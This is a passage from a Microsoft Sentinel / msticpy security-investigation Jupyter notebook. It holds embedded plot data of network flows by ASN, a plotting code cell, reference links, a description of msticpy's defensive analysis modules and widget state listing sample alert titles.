r\":{\"value\":\"#4FC369\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#4FC369\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3991\",\"type\":\"Diamond\"},{\"attributes\":{\"data_source\":{\"id\":\"3828\"},\"glyph\":{\"id\":\"3978\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"3979\"},\"selection_glyph\":null,\"view\":{\"id\":\"3981\"}},\"id\":\"3980\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#38578C\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#38578C\"},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3901\",\"type\":\"Circle\"},{\"attributes\":{\"mantissas\":[1,2,5],\"max_interval\":500.0,\"num_minor_ticks\":0},\"id\":\"4010\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"source\":{\"id\":\"3828\"}},\"id\":\"3981\",\"type\":\"CDSView\"},{\"attributes\":{\"fill_color\":{\"value\":\"#2D6E8E\"},\"line_color\":{\"value\":\"#2D6E8E\"},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3905\",\"type\":\"Circle\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#2AB07E\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#2AB07E\"},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3921\",\"type\":\"Circle\"},{\"attributes\":{\"data\":{\"AllExtIPs\":[\"216.58.218.238\",\"173.194.61.40\"],\"ExtASN\":[\"GOOGLE, US\",\"GOOGLE, US\"],\"FlowDirection\":[\"O\",\"O\"],\"FlowStartTime\":{\"__ndarray__\":\"AIDOBuKOdkIAgM4G4o52Qg==\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[2]},\"FlowType\":[\"ExternalPublic\",\"ExternalPublic\"],\"L7Protocol\":[\"http\",\"http\"],\"index\":[139,140],\"y_index\":[6,6]},\"selected\":{\"id\":\"4034\"},\"selection_policy\":{\"id\":\"4035\"}},\"id\":\"3828\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"source\":{\"id\":\"3826\"}},\"id\":\"3908\",\"type\":\"CDSView\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"#2AB07E\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"#2AB07E\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3984\",\"type\":\"Diamond\"},{\"attributes\":{\"data\":{\"AllExtIPs\":[\"8.253.45.249\",\"8.249.241.254\",\"67.26.237.254\",\"67.26.233.254\"],\"ExtASN\":[\"LEVEL3, US\",\"LEVEL3, US\",\"LEVEL3, US\",\"LEVEL3, US\"],\"FlowDirection\":[\"O\",\"O\",\"O\",\"O\"],\"FlowStartTime\":{\"__ndarray__\":\"AIDJnYeOdkIAgBy9g452QgAATbbWjHZCAIA7qYiNdkI=\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[4]},\"FlowType\":[\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\",\"ExternalPublic\"],\"L7Protocol\":[\"http\",\"http\",\"http\",\"http\"],\"index\":[330,360,959,1103],\"y_index\":[8,8,8,8]},\"selected\":{\"id\":\"4038\"},\"selection_policy\":{\"id\":\"4039\"}},\"id\":\"3830\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"source\":{\"id\":\"3830\"}},\"id\":\"3993\",\"type\":\"CDSView\"},{\"attributes\":{\"data_source\":{\"id\":\"3828\"},\"glyph\":{\"id\":\"3915\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"3916\"},\"selection_glyph\":null,\"view\":{\"id\":\"3918\"}},\"id\":\"3917\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"source\":{\"id\":\"3829\"}},\"id\":\"3987\",\"type\":\"CDSView\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#1E9A89\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#1E9A89\"},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3916\",\"type\":\"Circle\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#2AB07E\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#2AB07E\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3985\",\"type\":\"Diamond\"},{\"attributes\":{\"fill_color\":{\"value\":\"#2AB07E\"},\"line_color\":{\"value\":\"#2AB07E\"},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3920\",\"type\":\"Circle\"}],\"root_ids\":[\"4002\"]},\"title\":\"Bokeh Application\",\"version\":\"2.2.2\"}};\n  var render_items = [{\"docid\":\"e9cb553a-245d-4d61-bdfa-1ec73fa62513\",\"root_ids\":[\"4002\"],\"roots\":{\"4002\":\"1bf43e63-98e1-4e4f-8789-8046a8645fc3\"}}];\n  root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n\n  }\n  if (root.Bokeh !== undefined) {\n    embed_document(root);\n  } else {\n    var attempts = 0;\n    var timer = setInterval(function(root) {\n      if (root.Bokeh !== undefined) {\n        clearInterval(timer);\n        embed_document(root);\n      } else {\n        attempts++;\n        if (attempts > 100) {\n          clearInterval(timer);\n          console.log(\"Bokeh: ERROR: Unable to run BokehJS code because BokehJS library is missing\");\n        }\n      }\n    }, 10, root)\n  }\n})(window);",
      "application/vnd.bokehjs_exec.v0+json": ""
     },
     "metadata": {
      "application/vnd.bokehjs_exec.v0+json": {
       "id": "4002"
      }
     },
     "output_type": "display_data"
    }
   ],
   "source": [
    "\n",
    "az_http = az_net_comms_df[(az_net_comms_df[\"L7Protocol\"] == \"http\")].copy()\n",
    "az_http[\"ExtASN\"] = az_http.apply(lambda x: get_whois_info(x.AllExtIPs, show_progress=True)[0], axis=1)\n",
    "\n",
    "nbdisplay.display_timeline(\n",
    "    data=az_http,\n",
    "    group_by=\"ExtASN\",\n",
    "    title=\"Network Flows by ASN\",\n",
    "    time_column=\"FlowStartTime\",\n",
    "    source_columns=[\"FlowType\", \"AllExtIPs\", \"L7Protocol\", \"FlowDirection\", \"ExtASN\"],\n",
    "    height=300,\n",
    "    legend=\"right\",\n",
    "    yaxis=False\n",
    ");"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# *end of demo*\n",
    "\n",
    "\n",
    "\n",
    "\n",
    "---\n",
    "\n"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# References Text\n",
    "- Microsoft Sentinel Github Notebooks https://github.com/Azure/Azure-Sentinel/Notebooks/tree/master\n",
    "  - (Samples with data in Sample-Notebooks folder)\n",
    "- msticpy Github https://github.com/Microsoft/msticpy\n",
    "- msticpy Docs https://msticpy.readthedocs.io/en/latest/\n",
    "- Microsoft Sentinel Tech Community https://techcommunity.microsoft.com/t5/Azure-Sentinel/bd-p/AzureSentinel\n",
    "- Microsoft Sentinel Tech Community Blogs https://aka.ms/AzureSentinelBlog\n",
    "- Jupyter Notebooks and Microsoft Sentinel HowTo https://docs.microsoft.com/azure/sentinel/notebooks\n",
    "- Microsoft Sentinel Feedback and Questions: mailto:AzureSentinel@microsoft.com\n",
    "- Microsoft Sentinel Discussion mailto:DiscussAzureSentinel@microsoft.com\n",
    "\n",
    "### Notebook blogs https://aka.ms/AzureSentinelBlog\n",
    "- Security Investigations with Jupyter and Microsoft Sentinel (parts 1-3)\n",
    "- Why Use Jupyter for Security Investigations?\n",
    "- Using Sigma Rules in Microsoft Sentinel?\n",
    "- msticpy - Python Defender Tools\n",
    "\n",
    "[ianhelle@microsoft.com](mailto:ianhelle@microsoft.com)   Twitter [@ianhellen](https://twitter.com/ianhellen)   LinkedIn [ianhellen](https://www.linkedin.com/in/ianhellen/)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {
    "ExecuteTime": {
     "end_time": "2020-02-04T03:01:24.898489Z",
     "start_time": "2020-02-04T03:01:24.894520Z"
    }
   },
   "source": [
    "# MSTIC Jupyter and Python Security Tools\n",
    "### [msticpy GitHub](https://github.com/microsoft/msticpy)\n",
    "\n",
    "Microsoft Threat Intelligence Python Security Tools.\n",
    "\n",
    "The **msticpy** package was initially developed to support [Jupyter Notebook](https://jupyter-notebook.readthedocs.io/en/stable/examples/Notebook/What%20is%20the%20Jupyter%20Notebook.html)\n",
    "authoring for [Microsoft Sentinel](https://azure.microsoft.com/services/azure-sentinel/).\n",
    "Many of the included tools can be used in other security scenarios for threat hunting\n",
    "and threat investigation. There are three main sub-packages:\n",
    "\n",
    "- **sectools** - Python security tools to help with data enrichment,\n",
    "  analysis or investigation.\n",
    "- **nbtools** - Jupyter-specific UI tools such as widgets, plotting and\n",
    "  other data display.\n",
    "- **data** - data layer and pre-defined queries for Microsoft Sentinel, MDATP and\n",
    "   other data sources.\n",
    "\n",
    "We welcome feedback, bug reports, suggestions for new features and contributions.\n",
    "\n",
    "## Installing\n",
    "\n",
    "`pip install msticpy`\n",
    "\n",
    "or for the latest dev build\n",
    "\n",
    "`pip install git+https://github.com/microsoft/msticpy`\n",
    "\n",
    "## Documentation\n",
    "\n",
    "Full documentation is at [ReadTheDocs](https://msticpy.readthedocs.io/en/latest/)\n",
    "\n",
    "Sample notebooks for many of the modules are in the [docs/notebooks](https://github.com/microsoft/msticpy/blob/master/docs/notebooks) folder and accompanying notebooks.\n",
    "\n",
    "You can also browse through the sample notebooks referenced at the end of this document\n",
    "(especially the *Windows Alert Investigation* notebook) to see some of the functionality used in context.\n",
    "\n",
    "---\n",
    "\n",
    "## Security Tools Sub-package - `sectools`\n",
    "\n",
    "This subpackage contains several modules helpful for working on security investigations and hunting:\n",
    "\n",
    "### base64unpack\n",
    "\n",
    "Base64 and archive (gz, zip, tar) extractor. Input can either be a single string\n",
    "or a specified column of a pandas dataframe. It will try to identify any base64 encoded\n",
    "strings and decode them. If the result looks like one of the supported archive types it\n",
    "will unpack the contents. The results of each decode/unpack are rechecked for further\n",
    "base64 content and will recurse down up to 20 levels (default can be overridden).\n",
    "Output is to a decoded string (for single string input) or a DataFrame (for dataframe input).\n",
    "\n",
    "[Base64Unpack Notebook](https://github.com/microsoft/msticpy/blob/master/docs/notebooks/Base64Unpack.ipynb)\n",
    "\n",
    "### iocextract\n",
    "\n",
    "Uses a set of builtin regular expressions to look for Indicator of Compromise (IoC) patterns.\n",
    "Input can be a single string or a pandas dataframe with one or more columns specified as input.\n",
    "\n",
    "The following types are built-in:\n",
    "\n",
    "- IPv4 and IPv6\n",
    "- URL\n",
    "- DNS domain\n",
    "- Hashes (MD5, SHA1, SHA256)\n",
    "- Windows file paths\n",
    "- Linux file paths (this is kind of noisy because a legal linux file path can have almost any character)\n",
    "\n",
    "You can modify or add to the regular expressions used at runtime.\n",
    "\n",
    "Output is a dictionary of matches (for single string input) or a DataFrame (for dataframe input).\n",
    "\n",
    "[IoCExtract Notebook](https://github.com/microsoft/msticpy/blob/master/docs/notebooks/IoCExtract.ipynb)\n",
    "\n",
    "### tiproviders\n",
    "\n",
    "The TILookup class can lookup IoCs across multiple TI providers. builtin\n",
    "providers include AlienVault OTX, IBM XForce, VirusTotal and Microsoft Sentinel.\n",
    "\n",
    "The input can be a single IoC observable or a pandas DataFrame containing\n",
    "multiple observables. Depending on the provider, you may require an account\n",
    "and an API key. Some providers also enforce throttling (especially for free\n",
    "tiers), which might affect performing bulk lookups.\n",
    "\n",
    "For more details see `TIProviders` and\n",
    "[TILookup Usage Notebook](https://github.com/microsoft/msticpy/blob/master/docs/notebooks/TIProviders.ipynb)\n",
    "\n",
    "### vtlookup\n",
    "\n",
    "Wrapper class around [Virus Total API](https://www.virustotal.com/en/documentation/public-api/).\n",
    "Input can be a single IoC observable or a pandas DataFrame containing multiple observables.\n",
    "Processing requires a Virus Total account and API key and processing performance is limited to\n",
    "the number of requests per minute for the account type that you have.\n",
    "Support IoC Types:\n",
    "\n",
    "- Filehash\n",
    "- URL\n",
    "- DNS Domain\n",
    "- IPv4 Address\n",
    "\n",
    "[VTLookup Notebook](https://github.com/microsoft/msticpy/blob/master/docs/notebooks/VirusTotalLookup.ipynb)\n",
    "\n",
    "### geoip\n",
    "\n",
    "Geographic location lookup for IP addresses.\n",
    "This module has two classes for different services:\n",
    "\n",
    "- GeoLiteLookup - Maxmind Geolite (see <https://www.maxmind.com>)\n",
    "- IPStackLookup  - IPStack (see <https://ipstack.com>)\n",
    "\n",
    "Both services offer a free tier for non-commercial use. However,\n",
    "a paid tier will normally get you more accuracy, more detail and\n",
    "a higher throughput rate. Maxmind geolite uses a downloadable database,\n",
    "while IPStack is an online lookup (API key required).\n",
    "\n",
    "[GeoIP Lookup Notebook](https://github.com/microsoft/msticpy/blob/master/docs/notebooks/GeoIPLookups.ipynb)\n",
    "\n",
    "### eventcluster\n",
    "\n",
    "This module is intended to be used to summarize large numbers of\n",
    "events into clusters of different patterns. High volume repeating\n",
    "events can often make it difficult to see unique and interesting items.\n",
    "\n",
    "This is an unsupervised learning module implemented using SciKit Learn DBScan.\n",
    "\n",
    "The module contains functions to generate clusterable features from\n",
    "string data. For example, an administration command that\n",
    "does some maintenance on thousands of servers with a commandline like the following\n",
    "\n",
    "```bash\n",
    "install-update -hostname {host.fqdn} -tmp:/tmp/{GUID}/rollback\n",
    "```\n",
    "\n",
    "can be collapsed into a single cluster pattern by ignoring the character\n",
    "values of the host and guids in the string and using delimiters or tokens to\n",
    "group the values. This allows you to more easily see distinct patterns of\n",
    "activity.\n",
    "\n",
    "[Event Clustering Notebook](https://github.com/microsoft/msticpy/blob/master/docs/notebooks/EventClustering.ipynb)\n",
    "\n",
    "### outliers\n",
    "\n",
    "Similar to the eventcluster module, but a little bit more experimental (read 'less tested').\n",
    "It uses SkLearn Isolation Forest to identify outlier events in a single data set or using\n",
    "one data set as training data and another on which to predict outliers.\n",
    "\n",
    "### auditdextract\n",
    "\n",
    "Module to load and decode Linux audit logs. It collapses messages sharing the same\n",
    "message ID into single events, decodes hex-encoded data fields and performs some\n",
    "event-specific formatting and normalization (e.g. for process start events it will\n",
    "re-assemble the process command line arguments into a single string).\n",
    "\n",
    "This is still a work-in-progress.\n",
    "\n",
    "### syslog_utils\n",
    "\n",
    "Module to support an investigation of a linux host with only syslog logging enabled.\n",
    "This includes functions for collating host data, clusting logon events and detecting\n",
    "user sessions containing suspicious activity.\n",
    "\n",
    "### cmd_line\n",
    "\n",
    "A module to support he detection of known malicious command line activity or suspicious\n",
    "patterns of command line activity.\n",
    "\n",
    "## Notebook tools sub-package - `nbtools`\n",
    "\n",
    "This is a collection of display and utility modules designed to make working\n",
    "with security data in Jupyter notebooks quicker and easier.\n",
    "\n",
    "- nbwidgets - groups common functionality such as list pickers, time boundary settings, saving and retrieving environment variables into a single line callable command.\n",
    "- nbdisplay - functions that implement common display of things like alerts, events in a slightly more consumable way than print()\n",
    "- entityschema - implements entity classes (e.g. Host, Account, IPAddress) used in Log Analytics alerts and in many of these modules. Each entity encaspulates one or more properties related to the entity.\n",
    "\n",
    "[Notebook Tools Notebook](https://github.com/microsoft/msticpy/blob/master/docs/notebooks/NotebookWidgets.ipynb) and [Event Timeline Visualization](https://github.com/microsoft/msticpy/blob/master/docs/notebooks/EventTimeline.ipynb)\n",
    "\n",
    "## Data sub-package - `data`\n",
    "\n",
    "These components are currently still part of the nbtools sub-package but will be\n",
    "refactored to separate them into their own package.\n",
    "\n",
    "- QueryProvider - extensible query library targeting Log Analytics or OData\n",
    "  endpoints. Built-in parameterized queries allow complex queries to be run\n",
    "  from a single function call. Add your own queries using a simple YAML\n",
    "  schema.\n",
    "- security_alert and security_event - encapsulation classes for alerts and events.\n",
    "- entity_schema - definitions for multiple entities (Host, Account, File, IPAddress,\n",
    "  etc.)\n",
    "\n",
    "Each has a standard 'entities' property reflecting the entities found in the alert or event.\n",
    "These can also be used as meta-parameters for many of the queries.\n",
    "For example, the following query will extract the value for the `hostname` query parameter\n",
    "from the alert:\n",
    "\n",
    "`qry.list_host_logons(query_times, alert)`\n",
    "\n",
    "[Data Queries Notebook](https://github.com/microsoft/msticpy/blob/master/docs/notebooks/Data_Queries.ipynb)\n",
    "\n",
    "---\n",
    "\n",
    "## Clone the notebooks in this repo to Azure Notebooks\n",
    "\n",
    "Requires sign-in to Azure Notebooks\n",
    "<a href=\"https://notebooks.azure.com/import/gh/Microsoft/msticpy\">\n",
    "<img src=\"https://notebooks.azure.com/launch.png\" />\n",
    "</a>\n",
    "\n",
    "## More Notebooks\n",
    "\n",
    "- [Account Explorer](https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/Entity%20Explorer%20-%20Account.ipynb)\n",
    "- [Domain and URL Explorer](https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/Entity%20Explorer%20-%20Domain%20%26%20URL.ipynb)\n",
    "- [IP Explorer](https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/Entity%20Explorer%20-%20IP%20Address.ipynb)\n",
    "- [Linux Host Explorer](https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/Entity%20Explorer%20-%20Linux%20Host.ipynb)\n",
    "- [Windows Host Explorer](https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/Entity%20Explorer%20-%20Windows%20Host.ipynb)\n",
    "\n",
    "View directly on GitHub or copy and paste the link into [nbviewer.org](https://nbviewer.jupyter.org/)\n",
    "\n",
    "## Notebook examples with saved data\n",
    "\n",
    "See the following notebooks for more examples of the use of this package in practice:\n",
    "\n",
    "- Windows Alert Investigation in [github](https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/Sample-Notebooks/Example%20-%20Guided%20Investigation%20-%20Process-Alerts.ipynb) or [NbViewer](https://nbviewer.jupyter.org/github/Azure/Azure-Sentinel-Notebooks/blob/master/Sample-Notebooks/Example%20-%20Guided%20Investigation%20-%20Process-Alerts.ipynb)\n",
    "- Office 365 Exploration in [github](https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/Sample-Notebooks/Example%20-%20Guided%20Hunting%20-%20Office365-Exploring.ipynb) or [NbViewer](https://nbviewer.jupyter.org/github/Azure/Azure-Sentinel-Notebooks/blob/master/Sample-Notebooks/Example%20-%20Guided%20Hunting%20-%20Office365-Exploring.ipynb)\n",
    "- Cross-Network Hunting in [github](https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/Sample-Notebooks/Example%20-%20Step-by-Step%20Linux-Windows-Office%20Investigation.ipynb) or [NbViewer](https://nbviewer.jupyter.org/github/Azure/Azure-Sentinel-Notebooks/blob/master/Sample-Notebooks/Example%20-%20Step-by-Step%20Linux-Windows-Office%20Investigation.ipynb)\n",
    "\n",
    "## To-Do Items\n",
    "\n",
    "- Add additional notebooks to document use of the tools.\n",
    "- Expand list of supported TI provider classes.\n",
    "\n",
    "## Supported Platforms and Packages\n",
    "\n",
    "- msticpy is OS-independent\n",
    "- Requires [Python 3.6 or later](https://www.python.org/dev/peps/pep-0494/)\n",
    "- Requires the following python packages: pandas, bokeh, matplotlib, seaborn, setuptools, urllib3, ipywidgets, numpy, attrs, requests, networkx, ipython, scikit_learn, typing\n",
    "- The following packages are recommended and needed for some specific functionality: Kqlmagic, maxminddb_geolite2, folium, dnspython, ipwhois\n",
    "\n",
    "See [requirements.txt](requirements.txt) for more details and version requirements.\n",
    "\n",
    "---\n",
    "\n",
    "## Contributing\n",
    "\n",
    "This project welcomes contributions and suggestions.  Most contributions require you to agree to a\n",
    "Contributor License Agreement (CLA) declaring that you have the right to, and actually do, grant us\n",
    "the rights to use your contribution. For details, visit <https://cla.microsoft.com>.\n",
    "\n",
    "When you submit a pull request, a CLA-bot will automatically determine whether you need to provide\n",
    "a CLA and decorate the PR appropriately (e.g., label, comment). Simply follow the instructions\n",
    "provided by the bot. You will only need to do this once across all repos using our CLA.\n",
    "\n",
    "This project has adopted the [Microsoft Open Source Code of Conduct](https://opensource.microsoft.com/codeofconduct/).\n",
    "For more information see the [Code of Conduct FAQ](https://opensource.microsoft.com/codeofconduct/faq/) or\n",
    "contact [opencode@microsoft.com](mailto:opencode@microsoft.com) with any additional questions or comments.\n"
   ]
  }
 ],
 "metadata": {
  "hide_input": false,
  "interpreter": {
   "hash": "2bc37074a50de3994d4ebdf9197e864a43c9c15c9793b7f9f3363bcff9457253"
  },
  "kernelspec": {
   "display_name": "Python 3.8 - AzureML",
   "language": "python",
   "name": "python3"
  },
  "language_info": {
   "codemirror_mode": {
    "name": "ipython",
    "version": 3
   },
   "file_extension": ".py",
   "mimetype": "text/x-python",
   "name": "python",
   "nbconvert_exporter": "python",
   "pygments_lexer": "ipython3",
   "version": "3.9.7"
  },
  "latex_envs": {
   "LaTeX_envs_menu_present": true,
   "autoclose": false,
   "autocomplete": true,
   "bibliofile": "biblio.bib",
   "cite_by": "apalike",
   "current_citInitial": 1,
   "eqLabelWithNumbers": true,
   "eqNumInitial": 1,
   "hotkeys": {
    "equation": "Ctrl-E",
    "itemize": "Ctrl-I"
   },
   "labels_anchors": false,
   "latex_user_defs": false,
   "report_style_numbering": false,
   "user_envs_cfg": false
  },
  "toc": {
   "base_numbering": 1,
   "nav_menu": {},
   "number_sections": false,
   "sideBar": true,
   "skip_h1_title": false,
   "title_cell": "Table of Contents",
   "title_sidebar": "Contents",
   "toc_cell": false,
   "toc_position": {},
   "toc_section_display": true,
   "toc_window_display": false
  },
  "varInspector": {
   "cols": {
    "lenName": 16,
    "lenType": 16,
    "lenVar": 40
   },
   "kernels_config": {
    "python": {
     "delete_cmd_postfix": "",
     "delete_cmd_prefix": "del ",
     "library": "var_list.py",
     "varRefreshCmd": "print(var_dic_list())"
    },
    "r": {
     "delete_cmd_postfix": ") ",
     "delete_cmd_prefix": "rm(",
     "library": "var_list.r",
     "varRefreshCmd": "cat(var_dic_list()) "
    }
   },
   "types_to_exclude": [
    "module",
    "function",
    "builtin_function_or_method",
    "instance",
    "_Feature"
   ],
   "window_display": false
  },
  "widgets": {
   "application/vnd.jupyter.widget-state+json": {
    "state": {
     "009d7414deca46db89f3096d693f2445": {
      "model_module": "@jupyter-widgets/controls",
      "model_module_version": "1.5.0",
      "model_name": "TextModel",
      "state": {
       "description": "Time (24hr)",
       "layout": "IPY_MODEL_96d7b7e2af3c42fa94de12ca9d13185a",
       "style": "IPY_MODEL_47c87d9ae56b411eb6d776c65f3855db",
       "value": "00:00:00"
      }
     },
     "05009eb2aabb4306a89a862196e801e3": {
      "model_module": "@jupyter-widgets/base",
      "model_module_version": "1.2.0",
      "model_name": "LayoutModel",
      "state": {}
     },
     "0b58920ab31c436580a32b574a93889e": {
      "model_module": "@jupyter-widgets/controls",
      "model_module_version": "1.5.0",
      "model_name": "TextModel",
      "state": {
       "description": "Time (24hr)",
       "layout": "IPY_MODEL_3bcb099d614b44e3816002e8c13d5e94",
       "style": "IPY_MODEL_349a724130ee462bb1e11aac6998fedb",
       "value": "00:00:00"
      }
     },
     "0d1d8ec7b78c46ab9d7bf98a9960f15b": {
      "model_module": "@jupyter-widgets/controls",
      "model_module_version": "1.5.0",
      "model_name": "DescriptionStyleModel",
      "state": {
       "description_width": "initial"
      }
     },
     "102e8a173bdf4b109f4b588a1c88d7c3": {
      "model_module": "@jupyter-widgets/controls",
      "model_module_version": "1.5.0",
      "model_name": "IntProgressModel",
      "state": {
       "bar_style": "info",
       "description": "Progress:",
       "layout": "IPY_MODEL_b54b275d85dc4829b883fa6159a8d5b0",
       "style": "IPY_MODEL_5e4ddbd4743c4ea4b71c3b269b081d5b",
       "value": 100
      }
     },
     "11ec28b4f4d649e99c83760a1c8b0176": {
      "model_module": "@jupyter-widgets/base",
      "model_module_version": "1.2.0",
      "model_name": "LayoutModel",
      "state": {
       "width": "50%"
      }
     },
     "15acd4c1137a4dbea9e9277e3c5cc43a": {
      "model_module": "@jupyter-widgets/controls",
      "model_module_version": "1.5.0",
      "model_name": "TextModel",
      "state": {
       "description": "Query start time (UTC):",
       "layout": "IPY_MODEL_11ec28b4f4d649e99c83760a1c8b0176",
       "style": "IPY_MODEL_281cb72953264d259f18f4c4cd94e074",
       "value": "2019-02-14 00:00:00"
      }
     },
     "20fb53064e924182ae8da099ff1fa979": {
      "model_module": "@jupyter-widgets/controls",
      "model_module_version": "1.5.0",
      "model_name": "DescriptionStyleModel",
      "state": {
       "description_width": ""
      }
     },
     "24b21cf0dde4419f9a389ee5769e8a66": {
      "model_module": "@jupyter-widgets/controls",
      "model_module_version": "1.5.0",
      "model_name": "DescriptionStyleModel",
      "state": {
       "description_width": "initial"
      }
     },
     "24f3090e07af4c14828581e81dde1277": {
      "model_module": "@jupyter-widgets/controls",
      "model_module_version": "1.5.0",
      "model_name": "TextModel",
      "state": {
       "description": "Filter alerts by title:",
       "layout": "IPY_MODEL_f8b21d67f8294beba4ca9243ba9e1e25",
       "style": "IPY_MODEL_5fbf5a1991f446f9a8786dde0867f369"
      }
     },
     "252de05bf6f3484ebf7a0bc7e6e8ce88": {
      "model_module": "@jupyter-widgets/base",
      "model_module_version": "1.2.0",
      "model_name": "LayoutModel",
      "state": {
       "width": "50%"
      }
     },
     "268eb19bee274bb59421da43c058f6b8": {
      "model_module": "@jupyter-widgets/base",
      "model_module_version": "1.2.0",
      "model_name": "LayoutModel",
      "state": {}
     },
     "281cb72953264d259f18f4c4cd94e074": {
      "model_module": "@jupyter-widgets/controls",
      "model_module_version": "1.5.0",
      "model_name": "DescriptionStyleModel",
      "state": {
       "description_width": "initial"
      }
     },
     "2aeb599b34454dbfb893ee944d67b305": {
      "model_module": "@jupyter-widgets/base",
      "model_module_version": "1.2.0",
      "model_name": "LayoutModel",
      "state": {}
     },
     "2b05605c19e544afa512263ee11ccd72": {
      "model_module": "@jupyter-widgets/controls",
      "model_module_version": "1.5.0",
      "model_name": "SliderStyleModel",
      "state": {
       "description_width": "initial"
      }
     },
     "3261c5b758354abc87865399dae0ce02": {
      "model_module": "@jupyter-widgets/controls",
      "model_module_version": "1.5.0",
      "model_name": "TextModel",
      "state": {
       "description": "Query start time (UTC):",
       "layout": "IPY_MODEL_252de05bf6f3484ebf7a0bc7e6e8ce88",
       "style": "IPY_MODEL_87025ac2152c4db8be33d3fa30b77d5a",
       "value": "2019-02-14 00:00:00"
      }
     },
     "3330e6e582a64dfebd2062c90b4a74b6": {
      "model_module": "@jupyter-widgets/controls",
      "model_module_version": "1.5.0",
      "model_name": "HBoxModel",
      "state": {
       "children": [
        "IPY_MODEL_66cb0765ff494f658bdf9b5af640d5e5",
        "IPY_MODEL_009d7414deca46db89f3096d693f2445"
       ],
       "layout": "IPY_MODEL_36b780323c4f4bc2a93f31939b9716c4"
      }
     },
     "349a724130ee462bb1e11aac6998fedb": {
      "model_module": "@jupyter-widgets/controls",
      "model_module_version": "1.5.0",
      "model_name": "DescriptionStyleModel",
      "state": {
       "description_width": ""
      }
     },
     "36257f6e13074d67a18b3b24fe877958": {
      "model_module": "@jupyter-widgets/controls",
      "model_module_version": "1.5.0",
      "model_name": "DescriptionStyleModel",
      "state": {
       "description_width": "initial"
      }
     },
     "36b780323c4f4bc2a93f31939b9716c4": {
      "model_module": "@jupyter-widgets/base",
      "model_module_version": "1.2.0",
      "model_name": "LayoutModel",
      "state": {}
     },
     "39505ef157ce4341bfe7c4677ce766ad": {
      "model_module": "@jupyter-widgets/controls",
      "model_module_version": "1.5.0",
      "model_name": "SelectModel",
      "state": {
       "_options_labels": [
        "2019-02-12 11:48:01 - Security incident with shared process detected - (MSTICALERTSWIN1)  - [id:2518523287189999999_1f19db0b-3d5b-4f7b-b91f-5e994ba4bde5]",
        "2019-02-13 02:50:38 - Security incident detected - (MSTICALERTSLXVM2)  - [id:2518522745615999999_30ac5794-a265-4420-a1b7-6335ac08e2c0]",
        "2019-02-14 11:51:38 - Suspicious system process executed - ()  - [id:2518521557015111330_65a3fe73-0832-427a-aab3-06edc2c27f0a]",
        "2019-02-14 11:51:38 - Security incident detected - (MSTICALERTSWIN1)  - [id:2518521557015111330_79f27254-e85f-4471-a061-3ea99b824495]",
        "2019-02-14 11:51:38 - Potential attempt to bypass AppLocker detected - (MSTICALERTSWIN1)  - [id:2518521557014927413_daa18e53-ab1d-4d7d-8c4f-bcb86f75fd5f]",
        "2019-02-15 03:50:55 - Detected suspicious file download - (MSTICALERTSLXVM2)  - [id:2518520981440769999_caab1270-55d3-4447-8618-16cf8672e4e1]",
        "2019-02-15 04:03:22 - Possible suspicious scheduling tasks access detected - (MSTICALERTSLXVM2)  - [id:2518520973978269999_57b6af71-984e-45f3-9aac-d6bbd79eed07]",
        "2019-02-15 19:43:49 - Detected suspicious file download - (MSTICALERTSLXVM2)  - [id:2518520409706099999_c5116800-e694-4900-a6e3-28cc7875b093]",
        "2019-02-15 19:55:10 - Suspicious Activity Detected - ()  - [id:2518520402897969999_b946cd89-667e-4ce7-b571-9603859a7234]",
